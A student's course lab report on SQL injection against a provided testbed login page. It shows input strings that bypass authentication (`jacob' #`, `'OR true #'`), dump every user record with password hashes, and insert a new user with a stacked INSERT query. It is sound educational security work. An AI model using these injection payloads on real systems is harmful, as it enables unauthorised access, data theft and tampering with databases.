

Joseph Pennington (2912079)

EECS 565 Mini Project 3


Introduction

For this mini project, we were tasked with attempting to hack a website and database using SQL injection techniques. SQL injections are an extremely common coding technique that hackers use to access restricted data. One example of this is inputting SQL commands or syntax on a login screen. Then the hacker would submit this SQL query and be returned possible usernames, passwords, or other sensitive information. These types of attacks are very dangerous because the attacker can gain access to restricted information, update databases, or even delete the entire table.

Using the provided website and database, we were asked to perform four different SQL injections. The first was to impersonate any user without providing the password. The second was to impersonate any user without using a username or password. The third task was to steal all the records in the table. Lastly, the fourth task was to insert a record into the table and login using that new user. Below describes each of these SQL injection attacks with provided screenshots, input, and output.

Impersonate Any User Without Providing the Password

Using the information gained when stealing all the records, impersonating any user without the password was very simple. The SQL query was `jacob' #`. Below is a screenshot of the results.



The SQL Injection Testbed

Login Successful!

I have retrieved your user information from my database.

First Name	Jacob	Username	jacob
Password	*E8BD367EA8A40D6C29EA94774FD4F6AD0A565F5C		
Introduction	This is Jacob. Nice to meet you!		

User input received from login page:

Username: jacob' #
Password:

Based on the user input, I created the following query:

```
SELECT * FROM users WHERE uname='jacob' #' AND passwd=PASSWORD("")
```

The above page was generated based on the query results.

Impersonate Any User with Only First Name

To impersonate any user only using his or her first name is slightly more difficult. However, since the database scheme is known, it is easy to guess a few common names to see if someone with that name is a user. The SQL query I used was `'OR first = 'Jacob' #`. Below is a screenshot of the results.

The SQL Injection Testbed



Login Successful!

I have retrieved your user information from my database.

First Name	Jacob	Username	jacob
Password	*E8BD367EA8A40D6C29EA94774FD4F6AD0A565F5C		
Introduction	This is Jacob. Nice to meet you!		

User input received from login page:

Username: 'OR first = 'Jacob'#
Password:

Based on the user input, I created the following query:

```
SELECT * FROM users WHERE uname="OR first = 'Jacob'#" AND passwd=PASSWORD("")
```

The above page was generated based on the query results.

Steal All Records

To steal all the records in the table, I simply logged in using the SQL query 'OR true #'. This returned every entry in the table. Below is a screenshot of the first few records and the SQL injection itself.

The SQL Injection Testbed



Login Successful!

I have retrieved your user information from my database.

First Name	Jacob	Username	jacob
Password	*E8BD367EA8A40D6C29EA94774FD4F6AD0A565F5C		
Introduction	This is Jacob. Nice to meet you!		

First Name	Mason	Username	mason
Password	*ACBE449D5110993C7F47D5ADF18016299009FBCF		
Introduction	This is Mason. Nice to meet you!		

First Name	William	Username	william
Password	*045DF8058BC3F1A1649C117F6698EEC3F9921A24		
Introduction	This is William. Nice to meet you!		

First Name	Jayden	Username	jayden
Password	*513E0A38EDBDF782375C585C9BECDF935352D5F		
Introduction	This is Jayden. Nice to meet you!		

User input received from login page:

Username: 'OR true #'
Password:

Based on the user input, I created the following query:

```
SELECT * FROM users WHERE uname="OR true #" AND passwd=PASSWORD("")
```

The above page was generated based on the query results.

Insert a Record

Inserting a record into the table proved to be the most complicated attack. To start the SQL query from the login page, a semicolon and space must be used before starting the query. There must also be a semicolon at the end of the query. Secondly, the password hashing function must be used on the password. I used the query below:

```
' ; INSERT INTO users (first, uname, passwd, profile) VALUES ('Joey', 'joey',  
PASSWORD('joey'), 'This is Joey.');
```

Below is a picture of logging in as the newly created user.

The SQL Injection Testbed



Login Successful!

I have retrieved your user information from my database.

First Name	Joey	Username	joey
Password	*DF83341D2DC42D7B18DF2C4EAE13AABE2516614		
Introduction	This is Joey.		

User input received from login page:

Username: Joey
Password: joey

Based on the user input, I created the following query:

```
SELECT * FROM users WHERE uname='Joey' AND passwd=PASSWORD('joey')
```